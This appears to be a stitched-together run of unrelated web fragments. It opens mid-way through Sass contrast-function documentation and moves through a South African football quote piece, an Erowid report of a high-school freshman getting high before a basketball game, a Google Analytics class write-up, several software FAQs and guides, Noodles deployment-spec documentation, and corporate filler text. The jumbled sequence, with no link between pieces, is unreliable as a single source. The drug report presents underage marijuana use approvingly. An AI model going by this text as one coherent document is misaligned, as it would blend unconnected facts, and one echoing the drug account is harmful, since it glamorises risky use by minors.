color: contrast($background, red, orange, yellow, green, blue, indigo);
}
html {
background: #333;
color: yellow;
}
Used By
@mixin contrasted()
@mixin contrasted()
Apply any background color,
along with the highest-contraast text color from a set of options.
This works the same as the contrast
function,
but applies the resulting values to background-color
and text color
properties.
Parameters & Output
$background: (string | list)
The name or value of your desired background color.
$options: #fff, #000 (arglist)
A list of colors to contrast against,
defaulting to white
and black
or your contrast-light
and contrast-dark
settings
if they are prodided in the global $colors
map.
{CSS output} (code block)
- Sets the
background-color
to$background
and the foregroundcolor
to whichever option has better contrast against the given background.
Examples
$background: #333;
html {
@include contrasted($background);
}
html {
background-color: #333;
color: #fff;
}
$background: #333;
html {
@include contrasted($background, red, orange, yellow, green, blue, indigo);
}
html {
background-color: #333;
color: yellow;
}
@function contrast-ratio()
Compare two colors using the WCAG comparison algorythm,
and return the resulting contrast-ratio.
Optionally pass in a standard (AA, AAA, AA-large)
and return false
when the contrast-check fails.
- ‘AA-large’ ==
3:1
- ‘AA’ ==
4.5:1
- ‘AAA’ ==
7:1
Parameters & Return
$color: (string | list | number)
The name of a color in your palette, any other color value, or even a pre-calculated numeric luminance.
$contrast: (string | list | number)
The name or value of a color to contrast against the first.
$require: false ('AA' | 'AA-large' | 'AAA' | number | false)
An optional WCAG contrast ratio to require.
The function will return false
if the required ratio is not met.
@return (number)
The WCAG-defined contrast-ratio of two colors.
Example
/* black and white: #{contrast-ratio(white, black)} */
/* failed 'AAA': #{contrast-ratio(white, #999, 'AAA')} */
/* black and white: 21 */
/* failed 'AAA': false */
Related
WCAG Contrast Definition [external]
Used By
@function contrast()
@function luminance()
Get the WCAG luminance of a color in your palette.
Parameters & Return
$color: (string | list)
The name or value of a color.
@return (number)
WCAG-defined numeric luminance value.
@error
#{$color}
is not a color.


From SA to the world: Tovey's hopes for local coaches
Cape Town - Legendary former Bafana Bafana captain Neil Tovey believes that South African-born coaches can mentor clubs in different parts around the world.
The 1996 African Cup of Nations winning captain says in order for locals to coach abroad they will need to improve their skills drastically.
"Everywhere in the world local coaches exist, so you must be better than them," Tovey said as quoted by KickOff.
"CAF are trying to equivalent our courses with the rest of the world."
A handful of top tier clubs in South Africa rely on foreign coaches and Tovey says that reducing incoming mentors from abroad will not be easy but it is possible.
"Why not? But it cannot be a regulation,” said the South African Football Association (SAFA) technical director when queried.
"We must improve to be better and have an attitude and confidence that we are.
"In some cases, there are much better than the foreigners coaching in our leagues."
He added: "You can't do that, everywhere in the world in business you can't stop foreigners coming. You can't put a regulation on that.
"So that's it, foreign coaches are coming all the time like we want our coaches to go overseas.
"So, are you going to say now you are going to stop the technical director of Botswana, Serame Letsoaka... or Thabo Senong must not be the coach of Lesotho?"
- Compiled by Tashreeq Vardien


--- layout: post date: 2011-06-02 time: "09:00:00" authors: ["Greg Wilson"] title: Five on Systems Programming tags: ["Content"] ---
Thanks the Software Sustainability Institute's Mike Jackson, we now have five episodes on how to inspect and manipulate files and directories from inside a Python program—many thanks. If you would like to contribute to this project as well, please get in touch.


Base HTML | Frontend Design | Romke van der Meulen
These resources deal with the basic HTML templates that I use.
Resources
My current HTML boilerplate - Manuel Matuzović
(
2021-04-09
)
joshbuchea / HEAD - Github


Follow these steps to run a cloud backtest:
lean init
in.lean cloud backtest "My Project" --push --open
to push ./My Project
to the cloud, run a cloud backtest for the project, and open the results in the browser.
$ lean cloud backtest "My Project" --push --open [1/1] Pushing 'My Project' Successfully updated cloud file 'My Project/main.py' Started compiling project 'My Project' Successfully compiled project 'My Project' Started backtest named 'Muscular Black Chinchilla' for project 'My Project'


Some friends from my high school basketball team had been talking to me about their experiences with marijuana before, during, and after daily basketball practices. This raised my curiousity for trying it. The kids I had talked to had went out to smoke before varsity basketball tryouts as freshman, and they both made the team, along with me and the rest of upperclassmen.
At this point I was truly amazed at what sort of things this could open up in my life. I went through a stage where my girlfriend was disappointed in me and my social life wasn't as strong as it had been in the past. So, I talked to a friend, Ben, who had told me about his experiences with weed. He asked me multiple times to go out and smoke with him before games, but I always was preoccupied with something else.
At that point, another non-smoker, Alex, raised questions toward me inquiring about smoking with them for their first time also. The anxiety was building up inside me, so I talked to an older friend, who was a junior (I was a freshman), and he got me an 1/8 ounce.
That weekend, I had Alex over on Friday, and we planned to light up on a local snowmobile trail while we were out riding. We left my house, and my heart was pumping. As the ride continued to 'the spot' we had picked out, my fear diminished and I was truly stoked to smoke marijuana. We came to an opening, and I opened the bag as he took out the pipe. While I was in the process of packing my first bowl of mary-jane, a local fish & game officer rode by on his snowmobile. At that moment I was shaking in my boots, literally. We both agreed to bag the idea, and we headed back to my house. Alex left the next morning, both of us still with virgin lungs :(
The following week, we were scheduled to play the number one team in our division. That day, Ben approached me and asked discretely if I wanted to smoke with them after school before our game. I was in an indesicion, because of the fact that my team was counting on ME to keep us in the game, but later I agreed to his proposal. The bell rang preceding last period and I met in the cafeteria. We left, me, him, and another close friend of mine, Kyle. Kyle had been smoking pot for almost a year at that point. We exited the school and walked casually towards a trail. The trail leads from our high school to the town's middle school. About half-way through the trail, we veered off into the woods.
2:30 pm. - As we entered the spot, I could see tin foil visibly covering the ground. The 2 veteran pot smokers packed the first bowl, and I went right at it. The second bowl was my responsibility, so I got out my bag that I had bought, and loaded it. Half-way through that bowl, the coughing began to start. It was an uncontrollable kind of cough, and it made me want to throw up. I sucked it up, and had the toughness to complete the second bowl and it was over.
2:50 pm. - We walked out and down the street to the local convenience store. I had been having trouble walking a straighline the whole way down the road, and became extremely frightened by the oncoming traffic. At the store, we were totally hyped when we found a bag of 'munchies' brand chips. We took those and headed back toward the gym to view the girls basketball team finish their game. Ours started 30 minutes after their game ended. The whole walk back, Ben and Kyle cracked jokes back and forth and I couldn't control my giggling. The feeling of pure bliss had taken over my body, and everything felt perfect.
3:15 pm. - We stepped into the gym, and were immediately overwhelmed by the shrieks and screams from the excited fans. The girls were in a close game, so I took a seat next to Ben and Kyle and watched attentively. As I watched, I noticed it was very hard to focus on a certain player, I widened the picture and took in the image of the full court. The players moved and I was truly amazed by a few of the plays they made.
3:45 pm - The girls team had lost by one point, and our game had 30 minutes until the start. I went into the locker room to changed into my warm-up unifrom. I stepped out of the locker room, and was immediately turned around by my best friend (at the time, now former best friend). He pulled me off to the side of the locker room and showed an emotional concern for my condition. I glanced back to him, asking 'What is wrong, James?''Your shirt is on backwards,' he responded in a disappointed voice. I stared at him in disbelief for a few moments, and I felt like I couldn't move. I was in a total daze. I snapped out of it, changed my shirt around, and stepped on to the court.
The teams routine warm-up drills went great. I didn't make one shot even close to the hoop. As we changed to defensive drills, I bumped a teammate roughly, took the ball and begin to run. The buzzer rang and the game was about to commence, before I stepped onto the floor as a starter, coach Gray pulled me aside.
4:15 pm. - 'I saw you during warm-up drills,' my heart was pounding in my chest, 'I just want to tell you that you need to take this more seriously, Joey.'
4:20!! - I didn't repond, and quickly scampered onto the floor. The jump ball came, and my teammates tried to avoid having me in possession of the ball as much as possible. At a point where I did have the ball, I was on a clear breakaway. A teammate had thrown me a baseball pass, and I was off to the races toward the basket, as I evaded the opposing team. I took 2 quick dribbles and shot up my lay-up. To my disappointment, the ball had completely cleared the backboard, off by a mile. I stepped off the court and sat on the out of bounds line, contemplating my next move and trying to forget my past actions, all of this while play was still continuing. The team played the next 30 seconds with only 4 players, because of my need for self indulgence.
4:50 pm. - I was pulled aside again by the coach after the first quarter.
'Chris, take the game more seriously!
I once again didn't respond and continued with my fun. To my excitement, I was chosen to play the second quarter, too, even after my time alone.
5:00 pm - I began to lose coordination, more than I had before. As I was passed the ball, I tripped over myself and was called for numerous traveling violations. This is where my day on the court had ended.
5:10 pm - Half-way through the second quarter, coach pulled me from the game. As I walked off the court, a loud cheer formed from the angry crowd. They were glad I was out :(
5:30 pm - Half-time came, and I went to practice shooting. To my surprise, I couldn't miss a shot! One 3-pointer after another fell smoothly through the net. Coach Gray noticed my talent and told me to start the third quarter.
5:45 pm - I stepped back onto the court, my teammate had passed me the ball fast on the offensive side of the court. The ball fell from my grasp from the excess speed. I soon regained control of it and heaved it towards the basket.  I had a huge headache by now, and I couldn't stand playing.
6:15 pm - The game ended, we beat the number one team in our class by 15 points! My high was almost gone, now it was just a slight buzz, but I was really surprised I had gotten that high on my first time, and it was an absolute blast.
That was close to the most enjoyable day of my life :)
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


In today's digital marketing world, tools like Google analytics have made it easy for businesses and marketing agencies to reach a broad audience effectively. However, for this week's analysis, I will use GA to track my website "User Science Journal," analyze the data and report my findings.
- What devices are people visiting my website using?
- What is the flow of my visitors on my website?
- Where are my visitors from?
- What will be the source of the traffic to my site?
Predictions
Based on the data GA generate, I can predict that:
- Most visitors will use mobile devices.
- Most traffic will be from classmates in Seattle and around the world.
- The visitors are from Washington.
- My most popular page is going to be the homepage.
Audience Overview Data
The data shown in the image below is for the entire month of May. On days you see the most spikes are most likely the days I had my friends visit my blog.
The chart also shows the number of users that visited my site this period, how long they stayed, the bounce rate etc. Now let's see how my predictions went.
Mobile
I expected the majority of users to use mobile phones to visit my website since I had shared the link to my website in a Whatsapp group chat with a couple of friends. It seems I was wrong on with my prediction; the majority of users used desktops to access my site.
Traffic
For traffic data, I expected the traffic to be a little higher since I had shared the link with my friends though it is hard to measure who exactly visited the website. Assuming that the majority of people in Seattle who visited the site were student, I would say the direct traffic data likely came from them. I will explore more on the traffic when I look at the location data.
Location
Looking at the Location, the majority of my audience in the United States. I did have some friends from other parts of the world that visited my site as well.
I also included the data by state...And data in WA cities.
I expected the majority of my visitors were in the to be in Seattle. I also did have a few friends from other parts of the world with whom I shared the link to my site and this was interesting to see this data as well.
Pageviews
Here is also a summary of most viewed pages. I expected the most read page to be the homepage since that was the page I was sharing. However, it makes sense for the last post to the most read since the audience was reading the last content I posted.
Conclusion
Google analytics has so much to offer. I will be posting more content once I set up goals to tracks user specific behaviors. I had initially set up goals to track but that wasn't done correctly, which I hope did not impact the data data.


What is it?
Lingon lets you control, edit and create configuration files for launchd
Requirements?
Mac OS X Tiger 10.4.2 or later
The name?
Lingon is the Swedish name for lingonberry and hence the icon
Why have you written it?
It has been more complicated than it should have to be to create and control the configuration files for launchd and my humble hope is that now people can discover how great launchd really is for Mac OS X
How do I uninstall it?
Drag Lingon to the trash, and you can find the preference file at /Users/<your home folder>/Library/Preferences/org.lingon.Lingon.plist. And there is a folder called Lingon in /Users/<your home folder>/Library/Application Support if you've ever authenticated
Any chance of your mentioning your other programs in a shameless promotion stunt?
No. It think it would look really cheap to even mention Smultron
smultron.sourceforge.net or Hallon
hallon.sourceforge.net
Where is the code?
lingon.sourceforge.net
Where can I find the latest version of Lingon?
lingon.sourceforge.net


What is Ethical Barcode?
Ethical Barcode is an app for Android/iOS phones that helps you shop ethically. By showing you brand ratings from non-profit organizations when you scan the products barcode you can find out which companies share your values.
Is Your Data Accurate?
Our data has been collected from all over the internet and as such can be inaccurate. We are currently working to improve but if you notice any issues please contact us and let us know.
What UPC database Are You Using?
We use every source of data we can get our hands on. Currently we interact with over 15 webservices, 3 databases and use some barcode magic to locate products. This is always changing as services come and go but we hope to publish a complete list in the future.
How Current is Your Data?
Our data is usually less then a year old. In cases where it is older then that we try to list the publication date in the description that you see in the app. We are working on systems to continually update the data in the future.
Where Does Your Ethical Data From?
We primarily use publically availiable data from over 20 non-profit organizations. You can always see in the app where certain data comes from by tapping the entry which will take you to the source website.
I Would Like to Suggest a Datasource?
Thats great, contact us and let us know about it. Usually for us to use ethical data it needs to be linked to brands or companies rather then products directly.
Can I Help the Project?
We are a tiny group working hard to make the world a little better. Contact us and tell us how you want to contribute.
We are always looking for feedback and people to test out the app.
How Are You Making Money
We aren't right now and are paying for the servers ourselves. Eventually we hope to be able to generate enough money to support the project and to donate it back to the non-profits that drive Ethical Barcode.


WITNESS LIST Agriculture & Livestock Committee April 24, 2003-12:00A SB 271 Against: Gilleland, Ellis (Self and "Texas-Animals") SB 759 For: Mendez, Mark (Tarrant County Commissioners Court)


@ARTICLE{ChenGRSL2021, author={Chen, Bo-Hao and Cheng, Hsiang-Yin and Tseng, Yi-Syuan and Yin, Jia-Li}, journal={IEEE Geoscience and Remote Sensing Letters}, title={Two-Pass Bilateral Smooth Filtering for Remote Sensing Imagery}, year={2022}, volume={19}, number={}, pages={1-5}, doi={10.1109/LGRS.2020.3048488}}


Just add the formify attribute to your form and it will be sent using formify (Fetch API) if Javascript is active on the client, else it will be sent using default browser behaviour.


Visualize a Song - Top of the World
Visualize a Song
Choose a song and express it using HTML & CSS.
Design
Concept
The song that I've chosen is "Top of the World" by The Carpenters. The lyrics is about how 'love' brings joy to life and makes the smallest things extraordinary. My interpretation is that through interacting with the web, the colors gradually show, and as the colors show, the page becomes more and more lively, just like a spirit nourished by love.


Pet-Versus
Home
Profile
Leaderboards
Sign-In/Sign-Up
Top Ten This Week
And Your Winners Are !
lul
List Of Winners
...
1. MR.Mittions
2.Cat Man
3.Cat Man
4.Lady
5.Buddy
6. MR.Mittions
7.Cat Man
8.Cat Man
9.Lady
10.Buddy


2. Spec Options¶
Contents
All the following keys are optional. If the user spec doesn’t specify them, the default options will be used from the default specs.
2.1. General Options¶
-
name
¶
- Type
String
Name of the spec.
-
description
¶
- Type
String
Description of the spec.
2.2. Experiments¶
-
experiment_default
¶
- Type
Mapping
The default options for each experiment in
experiments
. Available options are:-
experiment_default.name
¶
- Type
String
- Default
<default>
Name of the experiment.
-
experiment_default.envs
¶
- Type
Mapping
- Format
"<Environment variable name 1>": "<Value 1>" "<Environment variable name 2>": "<Value 2>" ...
- Default
{}
- Example
experiment_default: envs: LOCAL_DIR: $HOME/test REMOTE_FILE: $HOME/test.log
Default environment variables.
These environment variables will be added to each experiment no matter what the command type is. It’s convenient to set commonly used environment variables here.
-
experiment_default.depends_on
¶
- Type
Mapping
- Format
"<Command type 1>": - "<Name of other experiment 1>" - "<Name of other experiment 2>" - ... "<Command type 2>": - ... ...
- Default
{}
- Example
experiment_default: depends_on: run: - Installation - Configuration
A list of dependent experiments.
Noodles will check whether all experiments in
depends_on
are already successfully deployed. If one of the experiments hasn’t been deployed, Noodles would skip it and retry this experiment in the next deployment round.
-
experiment_default.requirements
¶
- Type
Mapping
- Format
"<Command type 1>": - "<Requirement ID 1>": "<Expression 1>" - "<Requirement ID 2>": "<Expression 2>" - "static:<Requirement ID 3>": "<Expression 3>" - "dynamic:<Requirement ID 4>": "<Expression 4>" - ... "<Command type 2>": - ... ...
- Default
{}
- Example
experiment_default: requirements: run: - cpu_usage: "<=0.7" - cpu_load: "<=32" - gpu_usage: "<=0.5" - static:free_quota: ">=0.2" - dynamic:has_lock_file: "==No" stop: - has_lock_file: "==Yes" download: - count_output_files: "!=0"
A list of requirements.
Each requirement ID (e.g.,
cpu_usage
) is mapped to a group of commands specified inrequirements
. The mapped commands would be run on each server in \(S\) (See Deploy Experiments to Servers). The metric is then compared to the expression, which is composed of<Operator><Value>
.List of available operators are:
==
!=
<
>
<=
>=
Noodles would try to convert the value following operator using Python builtin function
ast.literal_eval()
. It it fails, the original value would be used in its original string form.Each command can specify an extra prefix
static:
ordynamic:
. If a prefixstatic:
is used, Noodles will not check the requirement when some other experiment has checked it before in the same deployment round.On the other hand, if a prefix
dynamic:
is used, every requirement will be checked for each experiment. By default,dynamic:
behavior is chosen when the prefix is omitted. See Check Requirements for the procedure.
-
experiment_default.commands
¶
- Type
Mapping
- Format
"<Command type 1>": "<Command 1>" "<Command type 2>": - "<Command A>" - "<Command B>" - "local:<Command C>" - "remote:<Command D>" - ... ...
- Default
{}
- Example
experiment_default: commands: run: "touch exp.lock && ./exp1.sh $PARAMETER" stop: - pkill exp1 - rm exp.lock download: - local:scp $NOODLES_SERVER_AUTHORITY:$REMOTE_FILE $LOCAL_DIR
Commands to be run on a server.
Commands will only be executed on servers when the above requirements are met.
Each command can specify an extra prefix
local:
orremote:
to specify whether to run the command on local or remote machine respectively. By default, all commands are deployed to remaining servers selected fromservers
if no prefix is specified.It’s useful to add
local:
to a command to check the problems on local machine if the command fails on a remote server.
-
experiment_default.write_outputs
¶
- Type
Mapping
- Format
"Command type 1>": stdout_to: "<Path to write STDOUT output>" stderr_to: "<Path to write STDERR output>" "Command type 2>": stdout_to: ... stderr_to: ... ...
- Default
{}
- Example
experiment_default: write_outputs: run: stdout_to: $LOCAL_DIR/exp1.stdout.log stderr_to: $LOCAL_DIR/exp1.stderr.log
The paths to write STDOUT and STDERR outputs.
By default, STDOUT is written to the terminal and STDERR is written to the terminal only when it’s nonempty.
User can redirect the outputs to files by specifying paths in options
stdout_to
and/orstderr_to
for STDOUT and STDERR respectively under the optionwrite_outputs
. Ifstderr_to
is specified, STDERR will be written no matter it’s empty or not.
-
before_all_experiments
¶
- Type
List
- Format
Same as
experiments
- Default
[]
- Example
See example in
experiments
A list of experiments to runs before running
experiments
.
-
experiments
¶
- Type
List
- Format
- "<Experiment 1>" - "<Experiment 2>" - ...
- Default
[]
- Example
experiments: - name: Experiment 1 envs: LOCAL_DIR: $HOME/exp1 REMOTE_FILE: $HOME/exp1.log PARAMETER: 3 depends_on: run: - Installation - Configuration requirements: run: - cpu_usage: "<=0.7" - cpu_load: "<=32" - gpu_usage: "<=0.5" - free_quota: ">=0.2" - has_lock_file: "==No" stop: - has_lock_file: "==Yes" download: - count_output_files: "!=0" commands: run: "touch exp.lock && ./exp1.sh $PARAMETER" stop: - pkill exp1 - rm exp.lock download: - local:scp $NOODLES_SERVER_AUTHORITY:$REMOTE_FILE $LOCAL_DIR write_outputs: run: stdout_to: $LOCAL_DIR/exp1.stdout.log stderr_to: $LOCAL_DIR/exp1.stderr.log - name: Experiment 2 envs: LOCAL_DIR: $HOME/exp2 REMOTE_FILE: $HOME/exp2.log PARAMETER: 5 ... ...
A list of main experiments.
Each experiment would override the options in
experiment_default
. Seeexperiment_default
.
-
after_all_experiments
¶
- Type
List
- Format
Same as
experiments
- Default
[]
- Example
See example in
experiments
A list of experiments to run after running
experiments
.
2.3. Servers¶
-
server_default
¶
- Type
Mapping
- Example
server_default: name: <default> private_key_path: $HOME/.ssh/id_rsa port: 22 username: user1 hostname: server1.example.com
The default options for each server in
servers
. Available options are:-
server_default.name
¶
- Type
String
- Default
<default>
Default name of the server.
-
server_default.private_key_path
¶
- Type
String
- Default
HOME/.ssh/id_rsa
Path to the private key on local machine.
-
server_default.port
¶
- Type
Integer
- Default
22
Port to connect.
-
server_default.username
¶
- Type
String
- Default
$USER
Username on the server (e.g.,
user1
).
-
server_default.hostname
¶
- Type
String
- Default
localhost
Hostname of the server (e.g.,
example.com
,<IP_ADDRESS>
).If the hostname is a special value
localhost
, the commands will be run on local machine without ssh.
-
servers
¶
- Type
List
- Format
- "<Server 1>" - "<Server 2>" - ...
- Default
[]
- Example
servers: - name: Server 1 username: user1 hostname: server1.example.com - name: Server 2 private_key_path: temp/id_rsa port: 64 username: user2 hostname: <IP_ADDRESS> - name: Local server username: $USER hostname: localhost
A list of servers.
Each server would override the options in
server_default
. Seeserver_default
.
2.4. Requirements¶
-
requirements
¶
- Type
Mapping
- Default
See
requirements
in default specs.- Format
"<Requirement ID 1>": "<Command 1>" "<Requirement ID 2>": - "<Command A>" - "<Command B>" - ... ...
- Example
requirements: # Check whether the file exists has_file: "[ -f $PATH ] && echo -n Yes || echo -n No" # Get average CPU usage over 3 seconds (Output: Three floats between 0-100 (%)) (Reference: https://askubuntu.com/a/941997) cpu_usage: - "(grep 'cpu ' /proc/stat;sleep 0.1;grep 'cpu ' /proc/stat) | awk -v RS='' '{print ($13-$2+$15-$4)*100/($13-$2+$15-$4+$16-$5)}'" - "sleep 1.5" - "(grep 'cpu ' /proc/stat;sleep 0.1;grep 'cpu ' /proc/stat) | awk -v RS='' '{print ($13-$2+$15-$4)*100/($13-$2+$15-$4+$16-$5)}'" - "sleep 1.5" - "(grep 'cpu ' /proc/stat;sleep 0.1;grep 'cpu ' /proc/stat) | awk -v RS='' '{print ($13-$2+$15-$4)*100/($13-$2+$15-$4+$16-$5)}'" # Get average CPU load over last 1 minute (Output: CPU load greater or equal to 0.0) (Reference: https://stackoverflow.com/a/24839903) cpu_load: awk '{print $1}' /proc/loadavg
Commands to run to check requirements on servers.
After executing the commands on server, Noodles would try to convert the text in each line in STDOUT output using Python builtin function
ast.literal_eval()
and calculate the mean as the metric. If it fails, the original STDOUT would be used as metric.
2.5. Deployment¶
-
write_status_to
¶
- Type
Mapping
- Default
{}
- Format
"<Command type 1>": "<Path 1>" "<Command type 2>": "<Path 2>" ...
The path for Noodles to write deployment status.
The list of status to be written are:
Command type: <The given command type>
User spec path: <The given path of the user spec>
Start time: <Start time of current Noodles run>
Previous round time: <Time of the end of previous deployment round>
Elapsed time: <Elapsed time from start time>
Stage: <Current stage (
before_all_experiments
,experiments
orafter_all_experiments
)>Round #: <Current deployment round number>
Deployed experiments: <A list of deployed experiment names>
Undeployed experiments: <A list of undeployed experiment names>
Undeployed experiments (For command): <A filter string of comma-separated undeployed experiment names>
The file will be updated before the first deployment and after each successful deployment.
-
round_interval
¶
- Type
Number
- Default
10
The interval to run each deployment round.
See how it’s used in Deploy Experiments to Servers.
-
deployment_interval
¶
- Type
Number
- Default
0
The interval to deploy each experiment in each round.
See how it’s used in Deploy One Experiment.
-
commands_interval
¶
- Type
Number
- Default
0
The interval to execute the commands.
2.6. Error Handling¶
-
check_any_errors
¶
- Type
Boolean
- Default
True
Whether to check any nonzero return code and nonempty stderr.
When it’s turned on, any nonzero return code and/or nonempty STDERR will trigger Noodles to check the first matching error handler in
error_handlers
. Otherwise, any errors will be ignored.
-
error_handlers
¶
- Type
List
- Default
[]
- Format
- name: "<Name 1>" return_code: "<return code pattern 1>" stderr_pattern: "<STDERR pattern 1>" commands: "<Response command 1>" action: "<Action to take 1>" - name: "<Name 2>" return_code: "<return code pattern 2>" stderr_pattern: "<STDERR pattern 2>" commands: - "<Response command A>" - "<Response command B>" - ... action: "<Action to take 2>" ...
- Example
error_handlers: - name: Abort when command not found return_code: "\\d+" stderr_pattern: "^bash: line \\d+: .+: command not found\\s+$" action: abort - name: Ignore SSH resolve hostname error return_code: 255 stderr_pattern: "^ssh: Could not resolve hostname .+: Name or service not known\\s+$" action: retry - name: Ignore git clone already exists error return_code: 0 stderr_pattern: "^fatal: destination path '.+' already exists and is not an empty directory.\\s+$" action: continue - name: Send email when unknown error occurred (Catch all) return_code: ".+" stderr_pattern: "[\\S\\s]+" commands: "echo Check unknown error | mail -s \"Error!\"<EMAIL_ADDRESS>action: abort
List of error handlers.
If the option
check_any_errors
is turned on and any nonzero return code and/or nonempty STDERR are generated after executing some commands, Noodles will check each error handler in this option and find the first match.Available actions are:
abort
(Noodles will abort the whole procedure, raise an error and exit)retry
(Noodles will skip the experiment and retry it in the next deployment round)continue
(Noodles will ignore the errors and treat the deployment as successful)
If there is a match, the response commands will be executed no matter what the action is, then the predefined action will be taken, otherwise no response commands will be executed and the abort action will be taken.
When the response commands are executed, the currently chosen server spec and environment variables from the current experiment are used.
If
return_code
is an integer, it will be directly compared to nonzero return code returned from the commands, otherwise it’s treated as a regex pattern and the following procedure is taken.return_code
andstderr_pattern
will be passed into the argumentpattern
in Python builtin functionre.fullmatch(pattern, string)
, the argumentstring
will be the return code or STDERR string to be handled.A error handler is only matched when both
return_code
andstderr_pattern
are matched.


Resources
Menu Sprite Images from Bulbapedia: http://archives.bulbagarden.net/wiki/Category:Generation_VI_menu_sprites
Information obtained through my own experience as well as Serebii and Bulbapedia
Hamburger Menu JavaScript and CSS from W3Schools: http://www.w3schools.com/howto/tryit.asp?filename=tryhow_css_js_dropdown
Project 3 Requirements:
- Completionist Dex logo created from scratch.
- Embedded media is a YouTube video located on the "Events" page.
- No secondary navigation
- The first three in the first line of Menu Sprites on the homepage use a rollover image effect. Though it's bootstrap and not CSS.
- JavaScript used was some Bootstrap from: http://getbootstrap.com/javascript/#popovers. JavaScript was also used to make a hamburger dropdown menu while on mobile. The CSS and actual Scipt was taken from W3School.
- I feel like I was able to achieve my original idea. I'm also very proud of the horizontal scroll box, and the mobile media queries. I feel like I could do a better job of making the logo an actual part of the website, rather than as a jpeg. It caused issues when the browser screen is resized.I also wish I had the time to put in all the hover information and the rest of the pokemon menu sprites.


We enhance dogs!
- enable seamless supply-chains
- incentivize rich portals
- implement killer partnerships
- transition global web services
- reintermediate transparent schemas
- exploit granular functionalities
- generate customized web services
- disintermediate value-added schemas
- deliver revolutionary convergence


Quick Start Guide
BurnItNow BETA 6 is a
GUI Frontend for CDRecord and mkisofs.
You can burn AudioCD, DataCD, MixedCD, ISO files.
You can also use this app to make ISO
image or your files, eg to backup
your personal data (you can also make BFS
disk images).
This new version has many
fixes/improvements
compared to BETA5. Now you can properly burn AudioCD's, the GUI
supports
DVD's size,
you can set a max. burning speed of 48X and you can rearrange files in
the list.
Main window
This is the main Window, where you can choose what kind of project burn on CD's and DVD's.
In the left panel (orange) you can insert Audio files, ISO images and make a virtual project to insert data files.
In the right panel (light blue) you can insert any kind of data file
Here you can also set some options:
Multisession (a multisession disc is a disc to which data files are added incrementally in more than one recording, allowing you to add, update, or delete files and directories. All the data on a multisession disc can be seen as if it were all recorded at the same time (if you linked the data between sessions)
On the fly (an example of burning on the fly might be copying a CD using your CD ROM (source) and your CD burner (destination) at the same time, otherwise, if this option is disabled, data files will be copied before in a temp ISO file and then burned)
Test (this is a dummy mode: enabling this option will be performed only a burning simulation; will not written anything and it is very helpful for testing and see if the write speed is good enough and if the read/write buffer of the burning device are always filled with CD data)
Eject (will eject CD/DVD after burning).
Burning data on CD's and DVD's
After choosing Data as project, you have to click on "New data project" button, to start a new project in the left panel. Then you can drag any kind of data files in the right panel.
Clicking on "Calc Size!" you can see what kind of media (CD 700 MB, DVD5, DVD9) you need for the project.
After that you have to choose the burning speed (a max value of 10/16X if you write data to a DVD).
Burn an audio CD
To burn an audio CD you have to simply drag your audio files in the left panel. You can also rearrange files by right click and choosing "Move Up" and Move Down", you can also remove and play files. Clicking on "Calc Size!" you will see duration in MB and minutes.
Note: at the moment in BurnItNow BETA 6, you can only insert wav files as audio files.
Burn a Mixed CD
A mixed CD is a CD which contains Data and Audio files together.To properly burn this kind of CD you have simply to choose "MixCD" as project, and repeat the above steps for inserting data and audio files together.
To burn a mixed CD, you have to repeat the steps for burning Data and Audio CD's
Adjust the preferences
In this section you can see how to set properly options and preferences.Filesystem
In this tab you can choose which kind of filesystem will be used for burning Data CD's and DVD's.
This option will also affect the kind of ISO image which you can make using the "Make Image" Button.
By clicking on "Make Image" you will create an ISO image of your data files (you can also choose to make an BFS image, eg to backup Haiku's files)
The most common option to choose is ISO-9660 with long filnames, otherwise the names of your files will be truncated.
Audio Options
Padding is the only audio option to finalize a standard AudioCD; all other options are for the most part obsolete (useful only with older cd burners), and you can leave them unchecked.
Other preferences
Here you can set other preferences: DAO (Disk-At-Once) and Burnfree.DAO - Disk at Once, writes the leadin, all the tracks and the leadout as a single operation, producing a finalised disk. Audio track gaps can be eliminated, CD-Text can be written (if supported), but it is not possible to allow further additions. You have to prefer DAO to TAO; is more compliant. But in anyway you have to deselect DAO if you want to burn a multisession CD/DVD.
Burnfree - buffer underrun protection, is a technology designed to allow disk burning applications to recover if at some point the drive is burning data faster than the application can send it. Enable it.
Devices - Here you can select which burner device to use.


 It shows you all of the text content of your SVG in an editable list, including both visible text and metadata, and makes it easy for you to add descriptive content, or change the text that's already there. And you can use the “audio preview” feature to hear how your SVG sounds in common screenreaders.
Describler also makes your SVG auto-scaling by default, rather than a fixed size; this allows you to use your SVG at whatever size you need, or to change the size dynamically, and it allows users to zoom and pan easily.
What is SVG?
SVG stands for Scalable Vector Graphics, and it is a vector-based format, that can be created in popular drawing tools like Inkscape and Adobe Illustrator. Because each shape is made up of one or more markup elements, and the document has a DOM like HTML, it can be styled with CSS, and made interactive or animated with JavaScript.
Like HTML, the text in SVG is simply text, and so screenreaders can read it. In addition to the visible text elements, like <text>
, <tspan>
, and <textPath>
elements, SVG has special metadata elements, <title>
and <desc>
, which allow you to annotate your shapes for mouseover tooltips and special screenreader descriptions.
How do I use Describler to make my SVG accessible?
- Upload your SVG file. Click on the orange button with the up-arrow icon, and select an SVG file.
- Add or edit the text, titles, and descriptions. Click on any text in the list view, and edit it. Hit
Enter
or click off the text to commit your change to the SVG image. To add a title or description to any element, click one of the purple buttons next to that list item. Remember: titles should be short, and descriptions should be longer; don’t duplicate text… write your descriptions just the way you yourself would like to hear the image described. - Listen to the SVG image! Click on the green button with the speaker icon to hear your SVG spoken aloud like a person using a screenreader will hear it. This is an experimental feature in browsers, so you’ll have to enable it in your browser to use this feature.
- Save your SVG file. Click on the purple button with the down-arrow icon to save your SVG file locally.
Notes
Describler is meant to add accessibility to SVG images, not to interactive SVG applications or GUIs; use ARIA markup for that.
For more background on accessible SVG, see my blog post. Suggestions or code improvements are welcome! See the source on github, where you can also check out some sample SVG files to play with.
Thanks!
–Shepazu


Filters out for the scope of the block, the environment variables proposed by Jenkins except the ones listed.
These are available to any external processes spawned within that scope.
For example:
node {
env.CUSTOM=test
env.INFO=useful
keepEnv(['INFO']) {
// at this point the CUSTOM will not be available
bat 'echo %INFO%'
}
}
See the documentation for the env singleton for more information on environment variables.


I recently wanted to make a pixel worldmap, and dusted my undergrad astronomy books to create this illustration. It shows the Sun's terminator, the line which divides "day" and "night" on earth.
Detailed information and the creation steps can be read on my blog, while the source is available on this GitHub repo. Feel free to raise an issue to suggest improvements or offer insights, especially if you can share any astronomy knowledge!
